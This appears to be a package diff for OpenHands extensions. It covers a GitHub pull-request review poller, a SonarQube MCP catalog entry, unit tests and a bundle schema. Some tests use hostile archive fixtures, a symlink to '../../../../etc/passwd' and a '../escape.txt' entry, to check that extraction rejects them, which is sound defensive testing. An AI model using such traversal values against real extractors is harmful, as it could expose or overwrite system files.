print(f\" Review for PR #{pr_number} still '{status}' after {int(age)}s; abandoning it\")\n _release_checkout(rec, agent_url, api_key)\n return\n\n try:\n final = conversation_final_response(agent_url, api_key, conv_id)\n except Exception:\n final = \"\"\n\n if status in {\"error\", \"stuck\"}:\n _post_github_comment(\n github_token,\n repo,\n pr_number,\n _with_ai_disclosure(\n f\"⚠️ **OpenHands PR Reviewer encountered a problem** at commit `{reviewed_sha[:12]}` \"\n f\"(status: `{status}`).\\n\\n{final}\".strip()\n ),\n )\n elif _matching_review_exists(github_token, repo, pr_number, reviewed_sha):\n print(f\" PR #{pr_number}: review confirmed on GitHub at {reviewed_sha[:12]}\")\n else:\n # The agent was asked to publish the review itself; it did not, so the\n # work is not lost - post whatever it produced as a comment.\n _post_github_comment(\n github_token,\n repo,\n pr_number,\n _with_ai_disclosure(\n final\n or f\"✅ **OpenHands completed the review for commit `{reviewed_sha[:12]}`.** No review text was produced.\"\n ),\n )\n print(f\" PR #{pr_number}: no review found on GitHub; posted the result as a comment\")\n\n rec[\"status\"] = \"closed\"\n rec[\"completed_at\"] = time.time()\n _release_checkout(rec, agent_url, api_key)\n\n\ndef _process_repo(\n repo: str,\n github_token: str,\n agent_url: str,\n api_key: str,\n openhands_url: str,\n) -> str | None:\n \"\"\"Poll one repository end to end. Its state is loaded and saved here, so a\n failure in another repository cannot discard this one's progress.\"\"\"\n print(f\"\\n=== {repo} ===\")\n _verify_repo(github_token, repo)\n\n state = load_state(repo)\n reviews: dict = state.setdefault(\"reviews\", {})\n prs_state: dict = state.setdefault(\"prs\", {})\n\n def persist() -> None:\n state[\"version\"] = 3\n state[\"repo\"] = repo\n state[\"trigger_label\"] = TRIGGER_LABEL\n state[\"updated_at\"] = time.time()\n save_state(repo, state)\n\n open_prs = _list_open_prs(github_token, repo)\n latest_open_prs = {pr[\"number\"]: pr for pr in open_prs}\n print(f\" Found {len(open_prs)} open PR(s)\")\n\n last_conversation_id = None\n\n for pr in open_prs:\n number = pr[\"number\"]\n head_sha = _head_sha(pr)\n label_present = _has_trigger_label(pr)\n prs_state[str(number)] = {\n \"head_sha\": head_sha,\n \"label_present\": label_present,\n \"labels\": _labels(pr),\n \"last_seen\": time.time(),\n }\n\n if not label_present:\n continue\n if not head_sha:\n print(f\" PR #{number} has no head SHA; skipping\")\n continue\n\n fresh_pr = _get_pr(github_token, repo, number)\n fresh_head_sha = _head_sha(fresh_pr)\n if fresh_head_sha != head_sha:\n print(f\" PR #{number} head changed during poll ({head_sha[:12]} → {fresh_head_sha[:12]}); using latest PR metadata\")\n if not _has_trigger_label(fresh_pr):\n print(f\" PR #{number} lost `{TRIGGER_LABEL}` during poll; skipping\")\n continue\n\n label_event = _latest_trigger_label_event(github_token, repo, number)\n if not label_event:\n print(f\" PR #{number} has `{TRIGGER_LABEL}` but no matching labeled event; skipping\")\n continue\n\n key = _review_key(number, label_event[\"id\"])\n if key in reviews:\n print(f\" PR #{number} label event {label_event['id']} already tracked ({reviews[key].get('status')})\")\n continue\n\n conv_id = _process_review_request(\n github_token, agent_url, api_key, openhands_url, repo, fresh_pr, label_event, reviews, persist\n )\n if conv_id:\n last_conversation_id = conv_id\n\n for rev_key, rec in list(reviews.items()):\n if rec.get(\"status\") == \"starting\":\n # A claim this poll made has already moved to \"active\" or been\n # dropped, so one still sitting here belongs to a poll that died\n # between claiming and creating its conversation. Release it once it\n # is old enough that no live poll could still be working on it,\n # otherwise the label event would never be reviewed.\n age = time.time() - float(rec.get(\"last_activity\") or 0)\n if age > STALLED_CLAIM_SECONDS:\n print(f\" Releasing a claim stalled for {int(age)}s: {rev_key}\")\n reviews.pop(rev_key, None)\n continue\n if rec.get(\"status\") == \"active\":\n _check_conversation_completion(rec, latest_open_prs, github_token, agent_url, api_key, repo)\n elif rec.get(\"workspace_dir\"):\n # A checkout whose removal could not be confirmed on an earlier\n # poll, e.g. the agent was still running when its PR was closed.\n _release_checkout(rec, agent_url, api_key)\n\n persist()\n return last_conversation_id\n\n\ndef main() -> str | None:\n agent_url = os.environ.get(\"AGENT_SERVER_URL\", \"\").rstrip(\"/\")\n api_key = _get_env_key()\n\n github_token = _resolve_github_token()\n _verify_token(github_token)\n\n try:\n openhands_url = get_secret(\"OPENHANDS_URL\").rstrip(\"/\") or DEFAULT_OPENHANDS_URL\n except Exception:\n openhands_url = DEFAULT_OPENHANDS_URL\n\n last_conversation_id = None\n failures = []\n for configured in REPOS:\n # One repository failing must not stop the others from being polled.\n try:\n repo = normalize_repo(configured)\n conv_id = _process_repo(repo, github_token, agent_url, api_key, openhands_url)\n if conv_id:\n last_conversation_id = conv_id\n except Exception as exc:\n print(f\"Error processing {configured}: {exc}\")\n failures.append(f\"{configured}: {exc}\")\n\n if failures and len(failures) == len(REPOS):\n # Every repository failed, so the run achieved nothing - report it as a\n # failed run rather than a successful no-op.\n raise RuntimeError(\"; \".join(failures))\n return last_conversation_id\n\n\nif __name__ == \"__main__\":\n try:\n conversation_id = main()\n fire_callback(\"COMPLETED\", conversation_id=conversation_id)\n except Exception as exc:\n import traceback\n\n traceback.print_exc()\n fire_callback(\"FAILED\", str(exc))\n sys.exit(1)\n" | ||
| } | ||
| }; |
| { | ||
| "id": "sonarqube", | ||
| "name": "SonarQube", | ||
| "description": "Inspect code quality and security findings, quality gates, and analyze code snippets from SonarQube Server or Cloud.", | ||
| "categories": [ | ||
| "Engineering", | ||
| "Security" | ||
| ], | ||
| "appUrl": "https://www.sonarsource.com/products/sonarqube/mcp-server/", | ||
| "docsUrl": "https://github.com/SonarSource/sonarqube-mcp-server", | ||
| "notes": "Uses SonarSource's official SonarQube MCP Server, run locally as a Docker container. Provide a SonarQube user token. Set SONARQUBE_ORG for SonarQube Cloud, or SONARQUBE_URL for a self-managed SonarQube Server (or https://sonarqube.us for SonarQube Cloud US).", | ||
| "popularityRank": 43, | ||
| "installHint": "SONARQUBE_TOKEN is always required. For SonarQube Cloud, set your organization key in SONARQUBE_ORG. For a self-managed SonarQube Server, set SONARQUBE_URL to your server URL; for SonarQube Cloud US, set SONARQUBE_URL to https://sonarqube.us. Requires a container runtime such as Docker.", | ||
| "connectionOptions": [ | ||
| { | ||
| "id": "api", | ||
| "provider": "mcp", | ||
| "transport": { | ||
| "kind": "stdio", | ||
| "serverName": "sonarqube", | ||
| "command": "docker", | ||
| "args": [ | ||
| "run", | ||
| "--init", | ||
| "--pull=always", | ||
| "-i", | ||
| "--rm", | ||
| "-e", | ||
| "SONARQUBE_TOKEN", | ||
| "-e", | ||
| "SONARQUBE_ORG", | ||
| "-e", | ||
| "SONARQUBE_URL", | ||
| "sonarsource/sonarqube-mcp" | ||
| ], | ||
| "envFields": [ | ||
| { | ||
| "key": "SONARQUBE_TOKEN", | ||
| "label": "SonarQube token", | ||
| "type": "password", | ||
| "required": true, | ||
| "helperText": "User token generated in your SonarQube Server or Cloud account settings.", | ||
| "helperLink": "https://docs.sonarsource.com/sonarqube-cloud/managing-your-account/managing-tokens/" | ||
| }, | ||
| { | ||
| "key": "SONARQUBE_ORG", | ||
| "label": "Organization key (SonarQube Cloud)", | ||
| "type": "text", | ||
| "required": false, | ||
| "placeholder": "my-org", | ||
| "helperText": "Required for SonarQube Cloud. Your organization key, found in SonarQube Cloud." | ||
| }, | ||
| { | ||
| "key": "SONARQUBE_URL", | ||
| "label": "Server URL (SonarQube Server)", | ||
| "type": "text", | ||
| "required": false, | ||
| "placeholder": "https://sonarqube.example.com", | ||
| "helperText": "Required for a self-managed SonarQube Server. For SonarQube Cloud US, use https://sonarqube.us." | ||
| } | ||
| ] | ||
| }, | ||
| "auth": { | ||
| "strategy": "api_key" | ||
| } | ||
| } | ||
| ], | ||
| "iconBg": "#126ED3", | ||
| "logoUrl": "https://cdn.simpleicons.org/sonarqubeserver/FFFFFF", | ||
| "keywords": [ | ||
| "code quality", | ||
| "static analysis", | ||
| "security", | ||
| "sast", | ||
| "quality gate", | ||
| "sonarcloud" | ||
| ] | ||
| } |
| """Unit tests for github-pr-reviewer main.py. | ||
| Run from the skill root: | ||
| python -m pytest tests/ | ||
| or with the standard library runner: | ||
| python -m unittest discover tests | ||
| The focus is the logic that owns files and state: preparing a checkout from an | ||
| untrusted archive, removing it again, and keeping one repository's state apart | ||
| from another's. | ||
| """ | ||
| import io | ||
| import json | ||
| import os | ||
| import sys | ||
| import tarfile | ||
| import tempfile | ||
| import time | ||
| import unittest | ||
| import urllib.error | ||
| from pathlib import Path | ||
| from unittest.mock import patch | ||
| # Allow importing main.py from the sibling scripts/ directory. | ||
| sys.path.insert(0, str(Path(__file__).parent.parent / "scripts")) | ||
| import main # noqa: E402 | ||
| # ── Helpers ──────────────────────────────────────────────────────────────────── | ||
| ARCHIVE_ROOT = "owner-repo-abc123" | ||
| def _tarball(members) -> bytes: | ||
| """Build a .tar.gz from (name, kind, payload) triples. | ||
| kind is "file", "dir", or "symlink"; payload is the file body or, for a | ||
| symlink, its target. | ||
| """ | ||
| buf = io.BytesIO() | ||
| with tarfile.open(fileobj=buf, mode="w:gz") as tar: | ||
| for name, kind, payload in members: | ||
| info = tarfile.TarInfo(name) | ||
| if kind == "dir": | ||
| info.type = tarfile.DIRTYPE | ||
| info.mode = 0o755 | ||
| tar.addfile(info) | ||
| elif kind == "symlink": | ||
| info.type = tarfile.SYMTYPE | ||
| info.linkname = payload | ||
| tar.addfile(info) | ||
| else: | ||
| data = payload.encode() | ||
| info.size = len(data) | ||
| info.mode = 0o644 | ||
| tar.addfile(info, io.BytesIO(data)) | ||
| return buf.getvalue() | ||
| class _FakeResponse: | ||
| def __init__(self, payload: bytes): | ||
| self._payload = payload | ||
| def read(self) -> bytes: | ||
| return self._payload | ||
| def __enter__(self): | ||
| return self | ||
| def __exit__(self, *exc): | ||
| return False | ||
| class _CheckoutTestCase(unittest.TestCase): | ||
| """Base case that points WORKSPACE_BASE at a scratch directory.""" | ||
| def setUp(self): | ||
| self._tmp = tempfile.TemporaryDirectory() | ||
| self.workspace = Path(self._tmp.name) | ||
| self._env = patch.dict(os.environ, {"WORKSPACE_BASE": str(self.workspace)}) | ||
| self._env.start() | ||
| def tearDown(self): | ||
| self._env.stop() | ||
| self._tmp.cleanup() | ||
| # ── Checkout paths ───────────────────────────────────────────────────────────── | ||
| class TestCheckoutPaths(_CheckoutTestCase): | ||
| def test_slug_replaces_the_separator(self): | ||
| self.assertEqual(main._repo_slug("owner/repo"), "owner__repo") | ||
| def test_checkout_path_is_per_repo_and_per_commit(self): | ||
| a = main._checkout_path("owner/repo", 7, "0123456789abcdef") | ||
| b = main._checkout_path("other/repo", 7, "0123456789abcdef") | ||
| c = main._checkout_path("owner/repo", 7, "fedcba9876543210") | ||
| self.assertNotEqual(a, b) | ||
| self.assertNotEqual(a, c) | ||
| self.assertEqual(a.name, "pr-7-0123456789ab") | ||
| self.assertTrue(a.is_relative_to(main._checkouts_root())) | ||
| # ── Preparing a checkout from an archive ─────────────────────────────────────── | ||
| class TestPrepareRepository(_CheckoutTestCase): | ||
| def _prepare(self, members): | ||
| payload = _tarball(members) | ||
| with patch("urllib.request.urlopen", return_value=_FakeResponse(payload)): | ||
| return main._prepare_repository("token", "owner/repo", 7, "0123456789abcdef") | ||
| def test_extracts_files_under_the_checkout(self): | ||
| checkout = self._prepare([ | ||
| (f"{ARCHIVE_ROOT}/README.md", "file", "hello"), | ||
| (f"{ARCHIVE_ROOT}/src", "dir", None), | ||
| (f"{ARCHIVE_ROOT}/src/app.py", "file", "print(1)\n"), | ||
| ]) | ||
| self.assertEqual((checkout / "README.md").read_text(), "hello") | ||
| self.assertEqual((checkout / "src" / "app.py").read_text(), "print(1)\n") | ||
| self.assertTrue(checkout.is_relative_to(main._checkouts_root())) | ||
| def test_symlinks_are_skipped_not_materialised(self): | ||
| checkout = self._prepare([ | ||
| (f"{ARCHIVE_ROOT}/real.txt", "file", "data"), | ||
| (f"{ARCHIVE_ROOT}/escape", "symlink", "../../../../etc/passwd"), | ||
| ]) | ||
| self.assertTrue((checkout / "real.txt").is_file()) | ||
| self.assertFalse((checkout / "escape").exists()) | ||
| def test_path_traversal_is_rejected_and_cleaned_up(self): | ||
| with self.assertRaises(RuntimeError): | ||
| self._prepare([ | ||
| (f"{ARCHIVE_ROOT}/ok.txt", "file", "fine"), | ||
| (f"{ARCHIVE_ROOT}/../escape.txt", "file", "bad"), | ||
| ]) | ||
| # The partially written checkout must not survive a rejected archive. | ||
| self.assertFalse(main._checkout_path("owner/repo", 7, "0123456789abcdef").exists()) | ||
| self.assertFalse((self.workspace / "escape.txt").exists()) | ||
| def test_multiple_roots_are_rejected(self): | ||
| with self.assertRaises(RuntimeError): | ||
| self._prepare([ | ||
| (f"{ARCHIVE_ROOT}/ok.txt", "file", "fine"), | ||
| ("another-root/ok.txt", "file", "bad"), | ||
| ]) | ||
| # ── Releasing a checkout ─────────────────────────────────────────────────────── | ||
| class TestReleaseCheckout(_CheckoutTestCase): | ||
| def _record(self, path: Path, conversation_id="conv-1") -> dict: | ||
| path.mkdir(parents=True, exist_ok=True) | ||
| (path / "file.txt").write_text("x") | ||
| return {"conversation_id": conversation_id, "workspace_dir": str(path)} | ||
| def test_nothing_to_do_without_a_workspace_dir(self): | ||
| self.assertTrue(main._release_checkout({"conversation_id": "c"}, "http://s", "k")) | ||
| def test_removes_the_checkout_once_the_conversation_is_terminal(self): | ||
| path = main._checkout_path("owner/repo", 1, "0123456789abcdef") | ||
| rec = self._record(path) | ||
| with patch.object(main, "conversation_status", return_value="finished"): | ||
| self.assertTrue(main._release_checkout(rec, "http://s", "k")) | ||
| self.assertFalse(path.exists()) | ||
| self.assertNotIn("workspace_dir", rec) | ||
| def test_keeps_the_checkout_while_the_conversation_runs(self): | ||
| path = main._checkout_path("owner/repo", 2, "0123456789abcdef") | ||
| rec = self._record(path) | ||
| with patch.object(main, "conversation_status", return_value="running"): | ||
| self.assertFalse(main._release_checkout(rec, "http://s", "k")) | ||
| self.assertTrue(path.exists()) | ||
| self.assertIn("workspace_dir", rec) | ||
| def test_keeps_the_checkout_when_the_status_is_unknown(self): | ||
| path = main._checkout_path("owner/repo", 3, "0123456789abcdef") | ||
| rec = self._record(path) | ||
| with patch.object(main, "conversation_status", side_effect=RuntimeError("boom")): | ||
| self.assertFalse(main._release_checkout(rec, "http://s", "k")) | ||
| self.assertTrue(path.exists()) | ||
| def test_a_deleted_conversation_counts_as_finished(self): | ||
| path = main._checkout_path("owner/repo", 4, "0123456789abcdef") | ||
| rec = self._record(path) | ||
| error = urllib.error.HTTPError("http://s", 404, "gone", {}, None) | ||
| with patch.object(main, "conversation_status", side_effect=error): | ||
| self.assertTrue(main._release_checkout(rec, "http://s", "k")) | ||
| self.assertFalse(path.exists()) | ||
| def test_refuses_to_remove_anything_outside_the_checkout_root(self): | ||
| outside = self.workspace / "not-a-checkout" | ||
| rec = self._record(outside) | ||
| with patch.object(main, "conversation_status", return_value="finished"): | ||
| self.assertTrue(main._release_checkout(rec, "http://s", "k")) | ||
| self.assertTrue(outside.exists()) | ||
| self.assertNotIn("workspace_dir", rec) | ||
| def test_refuses_to_remove_the_checkout_root_itself(self): | ||
| root = main._checkouts_root() | ||
| rec = self._record(root) | ||
| with patch.object(main, "conversation_status", return_value="finished"): | ||
| self.assertTrue(main._release_checkout(rec, "http://s", "k")) | ||
| self.assertTrue(root.exists()) | ||
| # ── State ────────────────────────────────────────────────────────────────────── | ||
| class TestState(_CheckoutTestCase): | ||
| """The KV store is unavailable in these tests, so the file fallback is used.""" | ||
| def setUp(self): | ||
| super().setUp() | ||
| # WORKSPACE_BASE/automation-runs/<run> is what the dispatcher passes, and | ||
| # the state directory is derived two levels up from it. | ||
| run_dir = self.workspace / "automation-runs" / "run-1" | ||
| run_dir.mkdir(parents=True) | ||
| os.environ["WORKSPACE_BASE"] = str(run_dir) | ||
| def test_each_repo_gets_its_own_document(self): | ||
| a = main.load_state("owner/one") | ||
| a["reviews"]["1:label:100"] = {"status": "active"} | ||
| main.save_state("owner/one", a) | ||
| b = main.load_state("owner/two") | ||
| self.assertEqual(b["reviews"], {}) | ||
| self.assertEqual(b["repo"], "owner/two") | ||
| self.assertEqual(main.load_state("owner/one")["reviews"].keys(), {"1:label:100"}) | ||
| def test_legacy_single_repo_state_is_adopted_once(self): | ||
| legacy = { | ||
| "version": 2, | ||
| "repo": "owner/one", | ||
| "trigger_label": "openhands-review", | ||
| "reviews": {"5:label:900": {"status": "closed"}}, | ||
| "prs": {}, | ||
| } | ||
| Path(main._legacy_state_file_path()).write_text(json.dumps(legacy)) | ||
| adopted = main.load_state("owner/one") | ||
| self.assertIn("5:label:900", adopted["reviews"]) | ||
| def test_legacy_state_is_not_adopted_by_a_different_repo(self): | ||
| legacy = {"version": 2, "repo": "owner/one", "reviews": {"5:label:900": {}}, "prs": {}} | ||
| Path(main._legacy_state_file_path()).write_text(json.dumps(legacy)) | ||
| fresh = main.load_state("owner/other") | ||
| self.assertEqual(fresh["reviews"], {}) | ||
| # ── Review verification ──────────────────────────────────────────────────────── | ||
| class TestMatchingReviewExists(unittest.TestCase): | ||
| def setUp(self): | ||
| self._login = main._AUTH_LOGIN | ||
| main._AUTH_LOGIN = "review-bot" | ||
| def tearDown(self): | ||
| main._AUTH_LOGIN = self._login | ||
| def _exists(self, reviews): | ||
| with patch.object(main, "_github_paginate", return_value=reviews): | ||
| return main._matching_review_exists("token", "owner/repo", 7, "abc123") | ||
| def test_true_for_our_review_at_this_commit(self): | ||
| self.assertTrue(self._exists([{"user": {"login": "Review-Bot"}, "commit_id": "abc123"}])) | ||
| def test_false_for_someone_elses_review(self): | ||
| self.assertFalse(self._exists([{"user": {"login": "human"}, "commit_id": "abc123"}])) | ||
| def test_false_for_our_review_at_another_commit(self): | ||
| self.assertFalse(self._exists([{"user": {"login": "review-bot"}, "commit_id": "older"}])) | ||
| def test_false_when_the_listing_fails(self): | ||
| with patch.object(main, "_github_paginate", side_effect=RuntimeError("boom")): | ||
| self.assertFalse(main._matching_review_exists("token", "owner/repo", 7, "abc123")) | ||
| # ── Claiming a label event before the review starts ──────────────────────────── | ||
| class TestClaimBeforeReview(_CheckoutTestCase): | ||
| """State must record the claim before the slow work, or two overlapping | ||
| polls both start a review of the same label event.""" | ||
| PR = {"number": 7, "title": "t", "html_url": "u", "head": {"sha": "abc123def456"}} | ||
| EVENT = {"id": 4242, "created_at": "2026-01-01T00:00:00Z"} | ||
| def setUp(self): | ||
| super().setUp() | ||
| self.reviews: dict = {} | ||
| self.snapshots: list = [] | ||
| def _persist(self): | ||
| self.snapshots.append(json.loads(json.dumps(self.reviews))) | ||
| def _run(self, prepare=None, create=None): | ||
| prepare = prepare or (lambda *a, **k: self.workspace / "checkout") | ||
| create = create or (lambda *a, **k: "conv-1") | ||
| with ( | ||
| patch.object(main, "_prepare_repository", side_effect=prepare), | ||
| patch.object(main, "create_conversation", side_effect=create), | ||
| patch.object(main, "_post_github_comment"), | ||
| ): | ||
| return main._process_review_request( | ||
| "token", "http://agent", "key", "http://oh", | ||
| "owner/repo", self.PR, self.EVENT, self.reviews, self._persist, | ||
| ) | ||
| def test_the_claim_is_persisted_before_the_conversation_is_created(self): | ||
| seen_at_create: list = [] | ||
| def create(*_args, **_kwargs): | ||
| # What a concurrent poll would read at this moment. | ||
| seen_at_create.append(json.loads(json.dumps(self.snapshots[-1]))) | ||
| return "conv-1" | ||
| self._run(create=create) | ||
| key = main._review_key(7, 4242) | ||
| self.assertEqual(len(seen_at_create), 1) | ||
| self.assertIn(key, seen_at_create[0], "claim must be persisted before the conversation") | ||
| self.assertEqual(seen_at_create[0][key]["status"], "starting") | ||
| self.assertIsNone(seen_at_create[0][key]["conversation_id"]) | ||
| def test_the_claim_becomes_active_with_the_conversation(self): | ||
| self.assertEqual(self._run(), "conv-1") | ||
| rec = self.reviews[main._review_key(7, 4242)] | ||
| self.assertEqual(rec["status"], "active") | ||
| self.assertEqual(rec["conversation_id"], "conv-1") | ||
| self.assertEqual(self.snapshots[-1][main._review_key(7, 4242)]["status"], "active") | ||
| def test_a_failed_start_releases_the_claim_so_the_next_poll_retries(self): | ||
| def boom(*_args, **_kwargs): | ||
| raise RuntimeError("archive unavailable") | ||
| self.assertIsNone(self._run(prepare=boom)) | ||
| key = main._review_key(7, 4242) | ||
| self.assertNotIn(key, self.reviews) | ||
| self.assertIn(key, self.snapshots[0], "the claim was taken") | ||
| self.assertNotIn(key, self.snapshots[-1], "and released again, persisted") | ||
| class TestStalledClaims(_CheckoutTestCase): | ||
| """A poll that dies between claiming and creating its conversation must not | ||
| park the label event forever.""" | ||
| def _poll(self, records): | ||
| state = {"reviews": dict(records), "prs": {}} | ||
| saved: list = [] | ||
| with ( | ||
| patch.object(main, "_verify_repo"), | ||
| patch.object(main, "load_state", return_value=state), | ||
| patch.object(main, "_list_open_prs", return_value=[]), | ||
| patch.object(main, "save_state", side_effect=lambda _repo, s: saved.append(s)), | ||
| ): | ||
| main._process_repo("owner/repo", "token", "http://agent", "key", "http://oh") | ||
| return state["reviews"], saved | ||
| def test_a_fresh_claim_is_left_alone(self): | ||
| reviews, _ = self._poll({"7:label:1": {"status": "starting", "last_activity": time.time()}}) | ||
| self.assertIn("7:label:1", reviews) | ||
| def test_a_stalled_claim_is_released(self): | ||
| stale = time.time() - main.STALLED_CLAIM_SECONDS - 1 | ||
| reviews, saved = self._poll({"7:label:1": {"status": "starting", "last_activity": stale}}) | ||
| self.assertNotIn("7:label:1", reviews) | ||
| self.assertNotIn("7:label:1", saved[-1]["reviews"]) | ||
| def test_a_claim_without_a_timestamp_is_released(self): | ||
| reviews, _ = self._poll({"7:label:1": {"status": "starting"}}) | ||
| self.assertNotIn("7:label:1", reviews) | ||
| class TestLoadConfig(unittest.TestCase): | ||
| """The catalog path ships config.json; the agent path ships none.""" | ||
| def _write(self, payload) -> Path: | ||
| directory = Path(tempfile.mkdtemp()) | ||
| body = payload if isinstance(payload, str) else json.dumps(payload) | ||
| (directory / main.CONFIG_FILENAME).write_text(body) | ||
| return directory | ||
| def test_absent_config_leaves_the_defaults_alone(self): | ||
| self.assertEqual(main.load_config(Path(tempfile.mkdtemp())), {}) | ||
| def test_declared_keys_are_returned(self): | ||
| directory = self._write( | ||
| { | ||
| "repos": ["owner/one", "owner/two"], | ||
| "trigger_label": "please-review", | ||
| "review_tone": "friendly", | ||
| "review_style_instructions": "be kind", | ||
| "openhands_url": "http://localhost:8010", | ||
| } | ||
| ) | ||
| self.assertEqual( | ||
| main.load_config(directory), | ||
| { | ||
| "repos": ["owner/one", "owner/two"], | ||
| "trigger_label": "please-review", | ||
| "review_tone": "friendly", | ||
| "review_style_instructions": "be kind", | ||
| "openhands_url": "http://localhost:8010", | ||
| }, | ||
| ) | ||
| def test_a_partial_config_only_overrides_what_it_states(self): | ||
| directory = self._write({"trigger_label": "please-review"}) | ||
| self.assertEqual(main.load_config(directory), {"trigger_label": "please-review"}) | ||
| def test_unknown_keys_are_ignored(self): | ||
| directory = self._write({"trigger_label": "x", "shipped_by": "catalog"}) | ||
| self.assertEqual(main.load_config(directory), {"trigger_label": "x"}) | ||
| def test_a_string_where_a_list_belongs_is_rejected(self): | ||
| # Otherwise the poll loop iterates "owner/repo" one character at a time. | ||
| directory = self._write({"repos": "owner/repo"}) | ||
| with self.assertRaises(SystemExit): | ||
| main.load_config(directory) | ||
| def test_an_empty_repo_list_is_rejected(self): | ||
| directory = self._write({"repos": []}) | ||
| with self.assertRaises(SystemExit): | ||
| main.load_config(directory) | ||
| def test_a_non_string_repo_is_rejected(self): | ||
| directory = self._write({"repos": ["owner/repo", 7]}) | ||
| with self.assertRaises(SystemExit): | ||
| main.load_config(directory) | ||
| def test_a_non_string_label_is_rejected(self): | ||
| directory = self._write({"trigger_label": ["a", "b"]}) | ||
| with self.assertRaises(SystemExit): | ||
| main.load_config(directory) | ||
| def test_malformed_json_is_rejected(self): | ||
| directory = self._write("{not json") | ||
| with self.assertRaises(SystemExit): | ||
| main.load_config(directory) | ||
| def test_a_json_array_is_rejected(self): | ||
| directory = self._write(["owner/repo"]) | ||
| with self.assertRaises(SystemExit): | ||
| main.load_config(directory) | ||
| class TestNormalizeRepo(unittest.TestCase): | ||
| """A repository is written down in more than one way, and every API path in | ||
| this script is built from owner/repo.""" | ||
| def test_a_repository_name_passes_through(self): | ||
| self.assertEqual(main.normalize_repo("OpenHands/automation"), "OpenHands/automation") | ||
| def test_surrounding_whitespace_is_ignored(self): | ||
| self.assertEqual(main.normalize_repo(" owner/repo\n"), "owner/repo") | ||
| def test_the_clone_url_a_repository_page_offers_is_accepted(self): | ||
| # The value a user is most likely to paste, and the one that used to | ||
| # 404 as "not accessible with the current token". | ||
| self.assertEqual( | ||
| main.normalize_repo("https://github.com/VascoSch92/symmetria"), | ||
| "VascoSch92/symmetria", | ||
| ) | ||
| def test_a_dot_git_suffix_is_dropped(self): | ||
| self.assertEqual( | ||
| main.normalize_repo("https://github.com/owner/repo.git"), "owner/repo" | ||
| ) | ||
| def test_a_trailing_slash_is_dropped(self): | ||
| self.assertEqual(main.normalize_repo("https://github.com/owner/repo/"), "owner/repo") | ||
| def test_an_ssh_remote_is_accepted(self): | ||
| self.assertEqual( | ||
| main.normalize_repo("git@github.com:owner/repo.git"), "owner/repo" | ||
| ) | ||
| def test_a_bare_name_is_rejected(self): | ||
| with self.assertRaises(ValueError): | ||
| main.normalize_repo("symmetria") | ||
| def test_an_owner_without_a_repository_is_rejected(self): | ||
| with self.assertRaises(ValueError): | ||
| main.normalize_repo("https://github.com/VascoSch92") | ||
| def test_extra_path_segments_are_rejected(self): | ||
| # A pull request URL names a page, not a repository. | ||
| with self.assertRaises(ValueError): | ||
| main.normalize_repo("https://github.com/owner/repo/pull/7") | ||
| def test_the_message_names_the_value_it_could_not_read(self): | ||
| with self.assertRaises(ValueError) as caught: | ||
| main.normalize_repo("not a repo") | ||
| self.assertIn("not a repo", str(caught.exception)) | ||
| if __name__ == "__main__": | ||
| unittest.main() |
| { | ||
| ".": "0.16.0" | ||
| ".": "0.17.0" | ||
| } |
+1
-0
@@ -90,2 +90,3 @@ # OpenHands Extensions — Agent Notes | ||
| - **Punctuation style**: Use plain hyphens (`-`) instead of em dashes (`—` / `\u2014`) in skill descriptions, SKILL.md content, and marketplace JSON entries. | ||
| - **`defaultEnabled` on marketplace skill entries**: a skill entry may carry `"defaultEnabled": true`, which means the skill is enabled for every **new** workspace. Omit the field for everything else - absence already means off, so `"defaultEnabled": false` is not written. Keep the set small and provider-agnostic; anything language-, vendor- or workflow-specific should start off and be opted into from the catalog UI. `npm run build:skills` joins the flag into `skills/index.js` and exports `DEFAULT_ENABLED_SKILL_NAMES` for hosts to seed a workspace from. Seeding is all it does: the contract hosts implement is that a workspace which already saved a selection keeps it, so adding the flag to a skill later will not retroactively enable it for existing users. | ||
| - Keep formatting consistent across skills. | ||
@@ -92,0 +93,0 @@ - If you change a skill’s behavior or scope, update its `README.md` (if present) accordingly. |
@@ -66,2 +66,6 @@ { | ||
| }, | ||
| "bundle": { | ||
| "description": "direct only, and the alternative to prompt. The script tarball this entry ships: the automation is deterministic machinery rather than judgement, so it runs as its own code and the host creates it through the raw create endpoint instead of a preset. The rest of the create request still restates the form, so it is not written here either.", | ||
| "$ref": "#/$defs/bundle" | ||
| }, | ||
| "filter": { | ||
@@ -83,3 +87,6 @@ "description": "direct only, and only for an event trigger. The expression deciding whether a delivered event belongs to this automation. It composes form values into a JMESPath expression, which is the one part of an event trigger that cannot be read off the form.", | ||
| "then": { | ||
| "required": ["prompt"] | ||
| "oneOf": [ | ||
| { "required": ["prompt"], "not": { "required": ["bundle"] } }, | ||
| { "required": ["bundle"], "not": { "required": ["prompt"] } } | ||
| ] | ||
| } | ||
@@ -96,2 +103,3 @@ }, | ||
| { "not": { "required": ["prompt"] } }, | ||
| { "not": { "required": ["bundle"] } }, | ||
| { "not": { "required": ["filter"] } } | ||
@@ -114,5 +122,87 @@ ] | ||
| "then": { "not": { "required": ["filter"] } } | ||
| }, | ||
| { | ||
| "if": { "required": ["bundle"] }, | ||
| "then": { "not": { "required": ["filter"] } } | ||
| } | ||
| ] | ||
| }, | ||
| "bundle": { | ||
| "description": "What the host packs into a .tar.gz and uploads before creating the automation. It names files inside this repository and the command that runs them - never a host, a URL, or code to evaluate.", | ||
| "type": "object", | ||
| "additionalProperties": false, | ||
| "required": ["version", "entrypoint", "files", "config"], | ||
| "properties": { | ||
| "version": { | ||
| "description": "The version of this bundle, recorded as the created automation's template provenance. Bump it when the shipped files or the config shape change: it is what tells an already-enabled deployment that what it installed is no longer current. Not the package version, which moves for reasons that have nothing to do with this entry.", | ||
| "type": "string", | ||
| "minLength": 1, | ||
| "maxLength": 50, | ||
| "pattern": "^[0-9]+\\.[0-9]+\\.[0-9]+$" | ||
| }, | ||
| "entrypoint": { | ||
| "description": "The command the automation service runs inside the extracted tarball, such as `python3 main.py`. No shell metacharacters: the service rejects them, and a bundle has no reason to need one.", | ||
| "type": "string", | ||
| "minLength": 1, | ||
| "maxLength": 500, | ||
| "pattern": "^[A-Za-z0-9 ._/-]+$" | ||
| }, | ||
| "setupScript": { | ||
| "description": "Path inside the tarball to a script run once before the entrypoint, such as `setup.sh`. Absent when the bundle needs no installation step, which is the case for a standard-library script.", | ||
| "type": "string", | ||
| "minLength": 1, | ||
| "maxLength": 255, | ||
| "pattern": "^[A-Za-z0-9._-]+(/[A-Za-z0-9._-]+)*$", | ||
| "not": { "pattern": "(^|/)\\.\\.?(/|$)" } | ||
| }, | ||
| "timeout": { | ||
| "description": "Seconds a single run may take, when this entry needs more than the service default. A poll that fetches an archive per queued item needs longer than one that only calls an API.", | ||
| "type": "integer", | ||
